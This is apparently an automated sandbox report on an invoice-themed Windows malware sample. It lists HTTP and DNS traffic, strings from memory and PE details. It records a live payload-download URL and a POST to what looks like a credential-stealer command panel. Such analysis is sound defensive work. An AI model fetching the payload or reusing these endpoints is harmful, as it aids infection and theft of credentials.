Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:52:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238316483595.000001896B13A000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238332289921.000001896AE44000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242870817729.000001896B13A000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238323976665.000001896AFAE000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238321645377.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867014534.000001896AE3F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312403907.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1.crt0
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242865101495.00000000008EE000.00000004.00000020.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238265231618.00000000008F4000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238264679132.00000000008F4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238332289921.000001896AE44000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867069174.000001896AE44000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242865101495.00000000008EE000.00000004.00000020.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238265231618.00000000008F4000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238264679132.00000000008F4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238332289921.000001896AE44000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867069174.000001896AE44000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238316483595.000001896B13A000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238332289921.000001896AE44000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242870817729.000001896B13A000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1.crl0
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238323976665.000001896AFAE000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238321645377.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867014534.000001896AE3F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312403907.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238334385048.000001896B043000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869451561.000001896B047000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238316483595.000001896B13A000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238332289921.000001896AE44000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242870817729.000001896B13A000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1.crl0
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238323976665.000001896AFAE000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238321645377.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867014534.000001896AE3F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312403907.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: lsass.exe, 0000000C.00000000.238314085790.000001896AEE7000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867965216.000001896AEE7000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242866479369.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238316483595.000001896B13A000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238332289921.000001896AE44000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242870817729.000001896B13A000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238334385048.000001896B043000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869451561.000001896B047000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0G
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238323976665.000001896AFAE000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238321645377.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867014534.000001896AE3F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312403907.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312051289.000001896A697000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238321645377.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867684725.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238334385048.000001896B043000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238331126240.000001896A697000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865216162.000001896A697000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869331918.000001896B03B000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869451561.000001896B047000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312403907.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
Source: lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311836953.000001896A66F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330911013.000001896A66F000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: lsass.exe, 0000000C.00000000.238331954183.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238324386558.000001896B033000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238323976665.000001896AFAE000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238321645377.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242867014534.000001896AE3F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238313834859.000001896AEB4000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312900173.000001896AE00000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238312403907.000001896A6DC000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~
Source: lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.live.com
Source: lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	String found in binary or memory: https://fabricraft.co.za/
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	String found in binary or memory: https://fabricraft.co.za/.
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866850076.0000000002430000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	String found in binary or memory: https://fabricraft.co.za/Farmant_hhVNwJna195.bin
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	String found in binary or memory: https://fabricraft.co.za/Farmant_hhVNwJna195.binc
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	String found in binary or memory: https://fabricraft.co.za/Farmant_hhVNwJna195.binn
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	String found in binary or memory: https://fabricraft.co.za/Farmant_hhVNwJna195.binws;
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864836413.00000000008D1000.00000004.00000020.sdmp	String found in binary or memory: https://farmanat.ro/arman30/five/fre.php
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238266059758.000000001E4B0000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238266059758.000000001E4B0000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com//
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238266059758.000000001E4B0000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000003.238266059758.000000001E4B0000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/v104
Source: ORDINE + DDT A.M.F SpA.exe	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown

HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 178Connection: close

Source: unknown

DNS traffic detected: queries for: fabricraft.co.za

Source: global traffic

HTTP traffic detected: GET /Farmant_hhVNwJna195.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: fabricraft.co.zaCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 197.242.150.64:443 -> 192.168.11.20:49816 version: TLS 1.2

Source: ORDINE + DDT A.M.F SpA.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022782FF
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227CF92
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277625
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227622C
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276A38
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D203
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278A09
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227BE73
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227BE7D
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227D245
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02272655
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B651
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C251
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227768F
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227728D
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276AE4
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C2E1
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276ED6
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227B6DF
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C2DF
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278327
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227732E
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227871A
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276768
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02278775
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276770
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227CFA2
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227BFB4
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022773B2
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02276BBD
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277FB9
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227C386
